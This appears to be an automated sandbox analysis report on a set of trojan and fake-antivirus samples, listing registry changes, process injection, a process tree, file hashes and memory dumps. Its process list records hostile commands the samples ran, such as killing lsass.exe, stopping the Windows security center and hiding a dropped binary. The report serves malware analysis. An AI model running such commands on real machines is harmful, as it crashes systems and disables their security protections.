Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{6B7E6390-850A-101B-AFC0-4210102A8DA7}\TypeLib\ = "{6B7E6392-850A-101B-AFC0-4210102A8DA7}" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{0713E8A3-850A-101B-AFC0-4210102A8DA7}\ProxyStubClsid32 C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{8556BCD0-E01E-11CF-8E74-00A0C90F26F8}\ProxyStubClsid32\ = "{00020424-0000-0000-C000-000000000046}" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{6B7E638F-850A-101B-AFC0-4210102A8DA7}\Programmable C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9ED94442-E5E8-101B-B9B5-444553540000}\ProxyStubClsid32 C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{9ED94441-E5E8-101B-B9B5-444553540000}\ProxyStubClsid32 C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{7791BA42-E020-11CF-8E74-00A0C90F26F8}\TypeLib\ = "{6B7E6392-850A-101B-AFC0-4210102A8DA7}" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BF877892-E026-11CF-8E74-00A0C90F26F8}\ProxyStubClsid32 C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{F4D83603-895E-11D0-B0A6-000000000000}\TypeLib\ = "{6B7E6392-850A-101B-AFC0-4210102A8DA7}" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\Interface\{9ED94441-E5E8-101B-B9B5-444553540000}\ProxyStubClsid32 C:\Windows\SysWOW64\regsvr32.exe N/A

Runs net.exe

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 796 wrote to memory of 764 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\2repair.exe C:\Windows\system32\cmd.exe
PID 796 wrote to memory of 764 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\2repair.exe C:\Windows\system32\cmd.exe
PID 764 wrote to memory of 1164 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 764 wrote to memory of 1164 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 764 wrote to memory of 4600 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\FreeMicrosoft.exe
PID 764 wrote to memory of 4600 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\FreeMicrosoft.exe
PID 764 wrote to memory of 4600 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\FreeMicrosoft.exe
PID 764 wrote to memory of 4372 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe
PID 764 wrote to memory of 4372 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe
PID 764 wrote to memory of 2920 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe
PID 764 wrote to memory of 2920 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe
PID 764 wrote to memory of 2920 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe
PID 764 wrote to memory of 1864 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 764 wrote to memory of 1864 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 2920 wrote to memory of 4184 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe C:\WINDOWS\302746537.exe
PID 2920 wrote to memory of 4184 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe C:\WINDOWS\302746537.exe
PID 2920 wrote to memory of 4184 N/A C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe C:\WINDOWS\302746537.exe
PID 4184 wrote to memory of 3240 N/A C:\WINDOWS\302746537.exe C:\Windows\SysWOW64\cmd.exe
PID 4184 wrote to memory of 3240 N/A C:\WINDOWS\302746537.exe C:\Windows\SysWOW64\cmd.exe
PID 4184 wrote to memory of 3240 N/A C:\WINDOWS\302746537.exe C:\Windows\SysWOW64\cmd.exe
PID 3240 wrote to memory of 2516 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\regsvr32.exe
PID 3240 wrote to memory of 2516 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\regsvr32.exe
PID 3240 wrote to memory of 2516 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\regsvr32.exe

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\attrib.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\2repair.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\2repair.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\5F08.tmp\5F09.tmp\5F0A.bat C:\Users\Admin\AppData\Local\Temp\Trojan\2repair.exe"

C:\Windows\system32\timeout.exe

timeout /t 6

C:\Users\Admin\AppData\Local\Temp\Trojan\FreeMicrosoft.exe

FreeMicrosoft.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe

Melting.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe

AntivirusPlatinum.exe

C:\Windows\system32\timeout.exe

timeout /t 2

C:\WINDOWS\302746537.exe

"C:\WINDOWS\302746537.exe"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7A02.tmp\302746537.bat" "

C:\Windows\SysWOW64\regsvr32.exe

regsvr32 /s c:\windows\comctl32.ocx

C:\Windows\SysWOW64\regsvr32.exe

regsvr32 /s c:\windows\mscomctl.ocx

\??\c:\windows\antivirus-platinum.exe

c:\windows\antivirus-platinum.exe

C:\Windows\SysWOW64\attrib.exe

attrib +h c:\windows\antivirus-platinum.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe

Antivirus.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Windows\system32\taskkill.exe

taskkill /IM lsass.exe /F

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Badgame.exe

Badgame.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Hydra.exe

Hydra.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe

Melting.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe

Melting.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\SGen.exe

SGen.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Windows\SysWOW64\wscript.exe

wscript.exe "C:\Users\Admin\AppData\Local\Temp\SFC8E55.tmp.vbs"

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

runaway.exe

C:\Windows\system32\timeout.exe

timeout /t 10

C:\Windows\SysWOW64\net.exe

net stop wscsvc

C:\Windows\SysWOW64\net.exe

net stop winmgmt /y

C:\Windows\SysWOW64\net.exe

net start winmgmt

C:\Windows\SysWOW64\net.exe

net start wscsvc

C:\Windows\SysWOW64\Wbem\mofcomp.exe

mofcomp C:\Users\Admin\AppData\Local\Temp\4otjesjty.mof

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 start winmgmt

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 stop wscsvc

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 start wscsvc

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 stop winmgmt /y

C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe

Melting.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe

Melting.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe

Melting.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\PCOptimizerProInstaller.exe

PCOptimizerProInstaller.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\VirusCan.exe

VirusCan.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\matrix.exe

matrix.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\bomb.exe

bomb.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\ChilledWindows.exe

ChilledWindows.exe

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\BFB6.tmp\VirusCan.bat""

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\C2A4.tmp\C2A5.tmp\C2A6.bat C:\Users\Admin\AppData\Local\Temp\Trojan\matrix.exe"

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\system32\AUDIODG.EXE

C:\Windows\system32\AUDIODG.EXE 0x52c 0x528

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

C:\Windows\SysWOW64\cmd.exe

cmd.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 0.204.248.87.in-addr.arpa udp
US 8.8.8.8:53 73.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\5F08.tmp\5F09.tmp\5F0A.bat

MD5 9eed2c0c3293d9424e3edacf3b36615d
SHA1 1d7743263a25661055549dd913ec5c654fa99ffd
SHA256 9780bbabc18e0a4cf00c87ffe12c36804fd1180c7e62ceb3f244820224dd15b2
SHA512 cedcd3b4ea56f4495e5f0baf20795c1296130f65d5512b4a7adabd1cfc46c2af0f94e5678a74b9fc181371d2e34239bc1d833f908e599f7389ee53cd55a8b746

C:\Users\Admin\AppData\Local\Temp\Trojan\Melting.exe

MD5 833619a4c9e8c808f092bf477af62618
SHA1 b4a0efa26f790e991cb17542c8e6aeb5030d1ebf
SHA256 92a284981c7ca33f1af45ce61738479fbcbb5a4111f5498e2cb54931c8a36c76
SHA512 4f231fc16339d568b5cf9353133aeae835eb262dab68bc80d92f37b43df64dce4fae0e913cbaa3bb61351a759aeecf9d280bc5779b0853c980559a654d6cca11

C:\Users\Admin\AppData\Local\Temp\Trojan\AntivirusPlatinum.exe

MD5 382430dd7eae8945921b7feab37ed36b
SHA1 c95ddaebe2ae8fbcb361f3bf080d95a7bb5bf128
SHA256 70e5e902d0ac7534838b743c899f484fe10766aefacc6df697219387a8e3d06b
SHA512 26abc02bde77f0b94613edc32e0843ac71a0a8f3d8ba01cb94a42c047d0be7befef52a81984e9a0fa867400082a8905e7a63aaaf85fa32a03d27f7bc6a548c3b

C:\Windows\302746537.exe

MD5 8703ff2e53c6fd3bc91294ef9204baca
SHA1 3dbb8f7f5dfe6b235486ab867a2844b1c2143733
SHA256 3028a2b0e95143a4caa9bcd6ae794958e7469a20c6e673da067958cbf4310035
SHA512 d5eb8a07457a78f9acd0f81d2f58bbf64b52183318b87c353a590cd2a3ac3a6ec9c1452bd52306c7cf99f19b6a897b16ceb8289a7d008c5ce3b07eda9b871204

memory/4184-53-0x0000000000400000-0x0000000000410000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\7A02.tmp\302746537.bat

MD5 7d8beb22dfcfacbbc2609f88a41c1458
SHA1 52ec2b10489736b963d39a9f84b66bafbf15685f
SHA256 4aa9ed4b38514f117e6e4f326cb0a1be7f7b96199e21305e2bd6dce289d7baa2
SHA512 a26cf9168cf7450435a9fe8942445511f6fda1087db52bd73e335d6f5b544fc892999019d9291d9dcc60c3656de49688f6d63282c97706e2db286f988e44fd94

\??\c:\windows\comctl32.ocx

MD5 821511549e2aaf29889c7b812674d59b
SHA1 3b2fd80f634a3d62277e0508bedca9aae0c5a0d6
SHA256 f59cdf89f0f522ce3662e09fa847bca9b277b006c415dcc0029b416c347db9c4
SHA512 8b2e805b916e5fbfcccb0f4189372aea006789b3847b51018075187135e9b5db9098f704c1932623f356db0ee327e1539a9bf3729947e92844a26db46555e8cd

\??\c:\windows\mscomctl.ocx

MD5 714cf24fc19a20ae0dc701b48ded2cf6
SHA1 d904d2fa7639c38ffb6e69f1ef779ca1001b8c18
SHA256 09f126e65d90026c3f659ff41b1287671b8cc1aa16240fc75dae91079a6b9712
SHA512 d375fd9b509e58c43355263753634368fa711f02a2235f31f7fa420d1ff77504d9a29bb70ae31c87671d50bd75d6b459379a1550907fbe5c37c60da835c60bc1

C:\Windows\antivirus-platinum.exe

MD5 cd1800322ccfc425014a8394b01a4b3d
SHA1 171073975effde1c712dfd86309457fd457aed33
SHA256 8115de4ad0b7e589852f521eb4260c127f8afeaa3b0021bfc98e4928a4929ac0
SHA512 92c22c025fd3a61979fa718bf2e89a86e51bf7e69c421a9534fbf9c2d5b23b7a9224d0e9f3e0501992038837015214d1ef73b532a68b7d19de559c9ab9c6e5f6

memory/2172-65-0x0000000000400000-0x000000000040D000-memory.dmp

memory/4184-68-0x0000000000400000-0x0000000000410000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Trojan\Antivirus.exe

MD5 c7e9746b1b039b8bd1106bca3038c38f
SHA1 cb93ac887876bafe39c5f9aa64970d5e747fb191
SHA256 b1369bd254d96f7966047ad4be06103830136629590182d49e5cb8680529ebd4
SHA512 cf5d688f1aec8ec65c1cb91d367da9a96911640c695d5c2d023836ef11e374ff158c152b4b6207e8fcdb5ccf0eed79741e080f1cbc915fe0af3dacd624525724

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

MD5 979b597855746aee2f30ee74f9d7c163
SHA1 56dd0b4bbc5ddcc3fab99ea2e8f781d8b7c7c05f
SHA256 dc6ee4edbbbe1116a200b928f2b62dbc55594a9f79152bbb0076161a58546c11
SHA512 6b7411b23fa0be275070bb08edb0293f7c5c00fffb7746afe0b4368e0a45e4c2743d3ef86417a610021577f70253bb0ca1c5d3398ac93d22d6672d2b16e0ec4e

memory/1280-80-0x0000000073AA0000-0x0000000074250000-memory.dmp

memory/5048-81-0x0000000005D10000-0x00000000062B4000-memory.dmp

memory/2312-82-0x0000000004D20000-0x0000000004DB2000-memory.dmp

memory/2312-79-0x0000000000400000-0x0000000000408000-memory.dmp

memory/2312-83-0x0000000073AA0000-0x0000000074250000-memory.dmp

memory/5048-84-0x0000000073AA0000-0x0000000074250000-memory.dmp

memory/2312-85-0x0000000004D10000-0x0000000004D20000-memory.dmp

memory/5048-86-0x0000000005910000-0x0000000005920000-memory.dmp

memory/1280-87-0x00000000051D0000-0x00000000051E0000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Trojan\Badgame.exe

MD5 ebfbd478a8cfc0fb645b8559973690cb
SHA1 88ec8dff51b53beed128582bcaf86ea81f684a0f
SHA256 62c99ea25fea9d3e5917114ada0406a333b1506697bd2bc28e9d676655232a59
SHA512 30c5dbaf97d3b43edca2e0c9f98fe3e45a2b508880021ce624145549b295c46f4468118c2f5051be402d4eeb3d9791a5eb27f1cc242b3a639b8318be49315f82

memory/2572-93-0x0000000073AA0000-0x0000000074250000-memory.dmp

memory/3744-94-0x0000000073AA0000-0x0000000074250000-memory.dmp

memory/2572-95-0x0000000004F40000-0x0000000004F50000-memory.dmp

memory/3744-96-0x0000000005320000-0x0000000005330000-memory.dmp

memory/2700-99-0x0000000073AA0000-0x0000000074250000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Trojan\Hydra.exe

MD5 b2eca909a91e1946457a0b36eaf90930
SHA1 3200c4e4d0d4ece2b2aadb6939be59b91954bcfa
SHA256 0b6c0af51cde971b3e5f8aa204f8205418ab8c180b79a5ac1c11a6e0676f0f7c
SHA512 607d20e4a46932c7f4d9609ef9451e2303cd79e7c4778fe03f444e7dc800d6de7537fd2648c7c476b9f098588dc447e8c39d8b21cd528d002dfa513a19c6ebbf

memory/1440-103-0x0000000000930000-0x0000000000940000-memory.dmp

memory/4568-105-0x0000000073AA0000-0x0000000074250000-memory.dmp

memory/4568-106-0x0000000002F50000-0x0000000002F60000-memory.dmp

memory/1440-107-0x0000000073AA0000-0x0000000074250000-memory.dmp

memory/3248-109-0x0000000073AA0000-0x0000000074250000-memory.dmp

memory/1440-111-0x0000000005160000-0x0000000005170000-memory.dmp

memory/1440-110-0x00000000052B0000-0x00000000052BA000-memory.dmp

memory/3764-112-0x00000000056E0000-0x00000000056F0000-memory.dmp

memory/3248-113-0x0000000004C30000-0x0000000004C40000-memory.dmp

memory/3764-115-0x0000000073AA0000-0x0000000074250000-memory.dmp

memory/2172-116-0x0000000000400000-0x000000000040D000-memory.dmp

memory/5048-117-0x0000000073AA0000-0x0000000074250000-memory.dmp

memory/3576-118-0x0000000073AA0000-0x0000000074250000-memory.dmp

memory/1280-120-0x0000000073AA0000-0x0000000074250000-memory.dmp

memory/2312-121-0x0000000073AA0000-0x0000000074250000-memory.dmp

memory/3576-122-0x0000000005680000-0x0000000005690000-memory.dmp

memory/3744-123-0x0000000073AA0000-0x0000000074250000-memory.dmp

memory/2312-124-0x0000000004D10000-0x0000000004D20000-memory.dmp

memory/5048-126-0x0000000005910000-0x0000000005920000-memory.dmp

memory/1680-128-0x0000000073AA0000-0x0000000074250000-memory.dmp

memory/2572-129-0x0000000073AA0000-0x0000000074250000-memory.dmp

memory/2200-131-0x0000000073AA0000-0x0000000074250000-memory.dmp

memory/2296-132-0x0000000073AA0000-0x0000000074250000-memory.dmp

memory/2200-133-0x0000000004A40000-0x0000000004A50000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Trojan\SGen.exe

MD5 affb6af7946f9a3b1c22a0eb4f58549d
SHA1 d90a0f3797249f5e4d8fd92d6f4ce06a282c2e7f
SHA256 0ddba6c089356f3ba66068036934e677ae577d845a814d2c685f6f0975923734
SHA512 c517219d378fd2b597e886f2fa2003578264b4f058c2042183f06e6e6fe11b8b700755435bc9ff45cd55689e6c36a47da22eca3b1c43e0cea64d7010ace22f34

C:\Users\Admin\AppData\Local\Temp\Trojan\SGen.exe

MD5 3e20f1b0a3bb4c8608844e47d92d2121
SHA1 e2f84e46d4e63cbd091feeca686814752519596e
SHA256 a23284c86e2b640fce315419157db159355efa61f0ed1b70e716584aa77b6793
SHA512 1047304be5dcca4b71fed0c76db3bd4c42fcd2b163b6d93dc27be16fe90579d6a8c40655e76132b398ad430dadf7238267342adc2206025c9a77998c4214dd6b

memory/3268-138-0x0000000073AA0000-0x0000000074250000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Trojan\runaway.exe

MD5 5a261f4bb7a137ef1eeaba3b4af198bb
SHA1 2a0a8c0a4978d709fde505c1536ba955e4e2aa9b
SHA256 f84bc0b7676c729c1aca816837903ae4f68710aa23734f5d8c073d38247580a1
SHA512 c0809afe3122d9ea3011cce6b632b0278555cfe3d5e125663467d0e24f208d332eba85df53e0155c6dd9256f18a0c5abe6b1485d8fa95304912a17722939522e

memory/3032-145-0x0000000073AA0000-0x0000000074250000-memory.dmp

memory/3176-146-0x0000000073AA0000-0x0000000074250000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\SFC8E55.tmp.vbs

MD5 c9f89015e169c812c60401d74883575f
SHA1 213bb6cde1d5930dcfa5e5584e42d52c4d160108
SHA256 77ea383219c8c3933d138f10154a1004e89384fa372d38bd6a372f9ba14f5056
SHA512 c75b20a0268d226ea452ba1c956b7c996a84ecfaad372a0b21745b2d466143d0f6536485d70cc4abb10fda8f70c657f027ada2caaeb399fa780ca7c0551b714e

memory/3176-149-0x00000000049F0000-0x0000000004A00000-memory.dmp

memory/3032-150-0x0000000004DD0000-0x0000000004DE0000-memory.dmp

memory/2572-152-0x0000000004F40000-0x0000000004F50000-memory.dmp

memory/2296-151-0x00000000047A0000-0x00000000047B0000-memory.dmp

memory/1348-153-0x0000000073AA0000-0x0000000074250000-memory.dmp

memory/4980-154-0x0000000073AA0000-0x0000000074250000-memory.dmp

memory/3744-155-0x0000000005320000-0x0000000005330000-memory.dmp

memory/2700-156-0x0000000073AA0000-0x0000000074250000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\4otjesjty.mof

MD5 7fad92afda308dca8acfc6ff45c80c24
SHA1 a7fa35e7f90f772fc943c2e940737a48b654c295
SHA256 76e19416eb826a27bdcf626c3877cf7812bbe9b62cc2ccc5c2f65461d644246f
SHA512 49eed1e1197401cb856064bf7fdbd9f3bc57f3c864d47f509346d44eed3b54757d8c6cdb6254990d21291065f0762d2a1588d09e43c5728f77a420f6a8dcd6ea

memory/4568-162-0x0000000073AA0000-0x0000000074250000-memory.dmp

memory/4904-164-0x0000000000400000-0x000000000040E000-memory.dmp

memory/1440-165-0x0000000073AA0000-0x0000000074250000-memory.dmp

memory/3248-166-0x0000000073AA0000-0x0000000074250000-memory.dmp

memory/3764-168-0x00000000056E0000-0x00000000056F0000-memory.dmp

memory/1440-167-0x0000000005160000-0x0000000005170000-memory.dmp

memory/3764-169-0x0000000073AA0000-0x0000000074250000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Trojan\PCOptimizerProInstaller.exe

MD5 78a6161dd54615fd9da789f2999fde64
SHA1 c535b5e2e2f87f75d6661d6a9c0c5253690890fc
SHA256 b9abef1dcbb68fc3e75319498fded6171ac9304368e50168e03ca5c7a37c8102
SHA512 43f10a48be6eab25a4de1619415839bc3b6b107de5e38b3fa3a48e56e983a54b17d407faaf603a7ab419462e49b17a6cc069f5e8364315c55ed96714eca37a99

C:\Users\Admin\AppData\Local\Temp\Trojan\VirusCan.exe

MD5 8edb51ed1d3241c4f026bb0d5de20f89
SHA1 9453b850f98062c0b3955a58c295a662be605efb
SHA256 c26fc73c59765b9f8df9cf66f6bb81ce099097804a9f0bd4660f3f80e0639f47
SHA512 0217f034da40cbe924ee8e73b024a3c5d86de1b7b12881d1b2909da2aba39661526b712acf9b390d000940ffbf3746e65a5687b7782635c24e844b36560c59f2

memory/3248-177-0x0000000004C30000-0x0000000004C40000-memory.dmp

memory/2664-178-0x0000000000400000-0x0000000000410000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Trojan\PCOptimizerProInstaller.exe

MD5 234cee2aaa2596996789b78d34764131
SHA1 f5896578872b92080a241196779cdee460bbc94d
SHA256 907ff65777ddeceea31f9b104671cc1099a0e2aa475ebe60a4faabab2970ab5c
SHA512 42f95cdb9259947c668128a1c737706a8e4a4b29d0dbbed8a4d4dc1b1cfb44e0e8f0201a6f2d7d5f72f8b111db81416bcb1a9f7432bd28baa17a7e6a4dc26573

C:\Users\Admin\AppData\Local\Temp\nsbBC9A.tmp\LangDLL.dll

MD5 de3558ce305e32f742ff25b697407fec
SHA1 d55c50c546001421647f2e91780c324dbb8d6ebb
SHA256 98160b4ebb4870f64b13a45f5384b693614ae5ca1b5243edf461ca0b5a6d479a
SHA512 7081654001cba9263e6fb8d5b8570ba29a3de89621f52524aa7941ba9e6dfd963e5ef7b073f193b9df70300af04d7f72f93d0241d8c70ccdbecfd9092e166cac

C:\Users\Admin\AppData\Local\Temp\Trojan\matrix.exe

MD5 83726a8767faba50ea1b5f31afef5938
SHA1 70165dcc633f3390d98ae08c731113b007069737
SHA256 e2636cb5e2b2ff10b27e3050e88801620494654017751d41e5a0725a5ce3b6c4
SHA512 e190e655c4df6ed6b79a8bff97c56a8c736753ce86f181f1fb15a4c57914bec0f1b1a3c8736e49a715191f2e6637a67be2a58354187365894c5d846518d7e301

C:\Users\Admin\AppData\Local\Temp\Trojan\bomb.exe

MD5 05ad3f85b73e5ff86504f8dcc55b5d42
SHA1 927d4554328cc6d767a566c3c6cb54c16d58857a
SHA256 124cf5ca90e7aaede685fe0cda72b6a63b80583d2d5ec04d5baeb4a1851c48af
SHA512 6fda7808e0b96caf3a1ff35734fec63f1e78cca6ae0abaa54fd5dd7bca6299a587b8f2c455b9385d7cf9b9cd9b74edbab1e37d8f98e8777059b3c3e2964feb18

C:\Users\Admin\AppData\Local\Temp\nsbBC9A.tmp\GetVersion.dll

MD5 dc9562578490df8bc464071f125bfc19
SHA1 56301a36ae4e3f92883f89f86b5d04da1e52770d
SHA256 0351fe33a6eb13417437c1baaee248442fb1ecc2c65940c9996bcda574677c3f
SHA512 9242f8e8ece707874ef61680cbfcba7fc810ec3a03d2cb2e803da59cc9c82badd71be0e76275574bc0c44cdfcef9b6db4e917ca8eb5391c5ae4b37e226b0c321

memory/3576-197-0x0000000073AA0000-0x0000000074250000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\Trojan\ChilledWindows.exe

MD5 cefdf132fd288aad5db2c52c3734ddc0
SHA1 c4daa49d8dfc37a5dd1e0a8b2773f8bae9eabbdb
SHA256 e98c203839af8c8ee4e96a8c9228085e49737c6f8f07092d98372b6517d0d2d5
SHA512 cc5d0d007237a7733d5a68e0068fcf68cce2ec323a1e3e755e93efbc2408c35216238f51d9b783eed2b90f4fa2c55a12776b5b32d03fb188420ef3035739ec5b

C:\Users\Admin\AppData\Local\Temp\Trojan\ChilledWindows.exe

MD5 25b21c4d7b071ae03c3567d39bd46d9c
SHA1 e321427597cda9e58d39db36a260257dfd805b39
SHA256 1f6d49e88a3bbb6ce41694e63846f4760c378754c8ab857fcd5e495f57403d08
SHA512 1808bd1e9626d318964920a32a2612626d1f953fa841f0ef5182d37823417edb2958737c300339bfd5c06cec1d9380d427d890b3017e0e244999217df3668248

memory/5064-201-0x0000000000160000-0x00000000005C4000-memory.dmp

memory/548-202-0x000000006FE80000-0x000000006FE89000-memory.dmp

memory/5064-205-0x00007FF9AC500000-0x00007FF9ACFC1000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\BFB6.tmp\VirusCan.bat

MD5 55dcde25c122c782757989a3c275fea2
SHA1 a669581a58e6aa602cbdaf690e3e365fa4de570f
SHA256 3aad2d3f7f3c5ef2676e33cc3be636f1929cf106707e88068ed8eee1ecfcb916
SHA512 b9cd00ffc8e42d2cd1f37a3312655c12423c8fb145910ee2ac8abf0d06b5942b5754fdd60d6b94a125c3bf3a1e7818eded0bfe662dc3992dac10d9df3fcaa5f2

memory/3576-206-0x0000000005680000-0x0000000005690000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows Media\12.0\WMSDKNS.XML

MD5 7050d5ae8acfbe560fa11073fef8185d
SHA1 5bc38e77ff06785fe0aec5a345c4ccd15752560e
SHA256 cb87767c4a384c24e4a0f88455f59101b1ae7b4fb8de8a5adb4136c5f7ee545b
SHA512 a7a295ac8921bb3dde58d4bcde9372ed59def61d4b7699057274960fa8c1d1a1daff834a93f7a0698e9e5c16db43af05e9fd2d6d7c9232f7d26ffcff5fc5900b

C:\Users\Admin\AppData\Local\Temp\C2A4.tmp\C2A5.tmp\C2A6.bat

MD5 d03b3332e0eb70b0f9a987cabe089c17
SHA1 7d27ee89e5e7f02544728d9f5d227945eba76e56
SHA256 9f97ce1430fea18a99efb1ad2e09b838dc52ffd2ccf9e5590c173e02cc9a8f88
SHA512 83a7da815aca90fee495ed7ad2ee56e6c480942ffef0cbba6819ae9bc66c5a2a6c76f86a815da9cac42b721fd68cec7e10c38a07178c8a22db3546fad74e28b0

C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb

MD5 f8576876c21eb541a96206efce3dbdb2
SHA1 b72a576f555d100a9001c06081fa2822a16ed708
